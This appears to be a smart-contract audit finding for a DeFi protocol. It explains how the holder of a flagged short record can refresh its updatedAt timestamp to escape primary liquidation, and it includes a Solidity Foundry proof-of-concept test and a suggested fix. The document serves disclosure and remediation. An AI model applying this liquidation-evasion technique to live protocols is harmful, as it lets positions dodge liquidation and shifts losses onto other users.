Short records can be liquidated if they fall below a certain C-Ratio. If the C-Ratio falls below the primaryLiquidationCR of an asset, it can be flagged. After flagging, a predefined period must be waited during which the owner of the short record can attempt to improve the C-Ratio. If, after this time, the C-Ratio is still below primaryLiquidationCR, it can be liquidated. To calculate how much time has passed since flagging, block.timestamp and the updatedAt parameter of the short record are used. updatedAt is set when flagging but can potentially be modified by a user. This results in the short record not being able to be liquidated.
pragma solidity 0.8.21;
import {Errors} from "contracts/libraries/Errors.sol";
import {Events} from "contracts/libraries/Events.sol";
import {STypes, MTypes, O} from "contracts/libraries/DataTypes.sol";
import {Constants} from "contracts/libraries/Constants.sol";
import {OBFixture} from "test/utils/OBFixture.sol";
import {console} from "forge-std/console.sol";
import "forge-std/Vm.sol";
import {U256, U88, U80} from "contracts/libraries/PRBMathHelper.sol";
import {IAsset} from "interfaces/IAsset.sol";
contract Poc is OBFixture {
using U256 for uint256;
using U88 for uint88;
using U80 for uint80;
function makeShortRecord() public {
MTypes.OrderHint[] memory orderHintArray;
uint16[] memory shortHintArray;
uint80 bidPrice = 0.0030 ether;
uint88 bidErcAmount = 3000 ether;
uint256 bidEth = bidPrice.mul(bidErcAmount);
shortHintArray = setShortHintArray();
orderHintArray = diamond.getHintArray(asset, bidPrice, O.LimitBid);
deal(receiver, bidEth);
vm.startPrank(receiver);
diamond.depositEth{value: bidEth}(address(bridgeReth));
diamond.createBid(asset, bidPrice, bidErcAmount, false, orderHintArray, shortHintArray);
vm.stopPrank();
uint80 price = 0.0021 ether;
uint88 ercAmount = 3000 ether;
uint256 eth = uint256(ercAmount.mul(price) * 5);
orderHintArray = diamond.getHintArray(asset, price, O.LimitShort);
shortHintArray = setShortHintArray();
vm.deal(receiver, eth);
vm.startPrank(receiver);
diamond.depositEth{value: eth}(_bridgeReth);
diamond.createLimitShort(asset, price, ercAmount, orderHintArray, shortHintArray, 500);
vm.stopPrank();
}
function testPOC() public {
makeShortRecord();
STypes.ShortRecord memory shortRecord;
MTypes.OrderHint[] memory orderHintArray;
uint16[] memory shortHintArray;
uint80 bidPrice = 0.0030 ether;
uint88 bidErcAmount = 1 ether;
uint256 bidEth = bidPrice.mul(bidErcAmount);
shortHintArray = setShortHintArray();
orderHintArray = diamond.getHintArray(asset, bidPrice, O.LimitBid);
deal(extra, bidEth);
vm.startPrank(extra);
diamond.depositEth{value: bidEth}(address(bridgeReth));
diamond.createBid(asset, bidPrice, bidErcAmount, false, orderHintArray, shortHintArray);
vm.stopPrank();
uint80 price = 0.0021 ether;
uint88 ercAmount = 3000 ether;
uint256 eth = uint256(ercAmount.mul(price) * 5);
orderHintArray = diamond.getHintArray(asset, price, O.LimitShort);
shortHintArray = setShortHintArray();
vm.deal(sender, eth);
vm.startPrank(sender);
diamond.depositEth{value: eth}(_bridgeReth);
diamond.createLimitShort(asset, price, ercAmount, orderHintArray, shortHintArray, 500);
vm.stopPrank();
int256 newEthPrice = 90000000000000000000;
skipTimeAndSetEth({skipTime: 1 hours, ethPrice: newEthPrice});
vm.startPrank(extra);
diamond.flagShort(asset, sender, Constants.SHORT_STARTING_ID, Constants.HEAD);
vm.stopPrank();
skipTimeAndSetEth({skipTime: 11 hours, ethPrice: newEthPrice});
shortHintArray = setShortHintArray();
orderHintArray = diamond.getHintArray(asset, bidPrice, O.LimitBid);
deal(sender, bidEth);
vm.startPrank(sender);
diamond.depositEth{value: bidEth}(address(bridgeReth));
diamond.createBid(asset, bidPrice, bidErcAmount, false, orderHintArray, shortHintArray);
vm.stopPrank();
uint256 cRatioSender = diamond.getCollateralRatio(asset, diamond.getShortRecord(asset, sender, Constants.SHORT_STARTING_ID));
uint256 primaryLiquidationCR = (uint256((diamond.getAssetStruct(asset)).primaryLiquidationCR) * 1 ether) / Constants.TWO_DECIMAL_PLACES;
assert(primaryLiquidationCR > cRatioSender);
vm.startPrank(extra);
bytes4 errorSelector = bytes4(keccak256("MarginCallIneligibleWindow()"));
vm.expectRevert(abi.encodeWithSelector(errorSelector));
diamond.liquidate(asset, sender, 2, shortHintArray);
vm.stopPrank();
}
}
A user can avoid primary liquidation by increasing updatedAt, which can result in the incorrect calculation of past time after flagging.
A flagging timestamp should be added to the Short Record Struct. This timestamp will then be set when flagging a short Record and used to calculate the elapsed time during liquidation.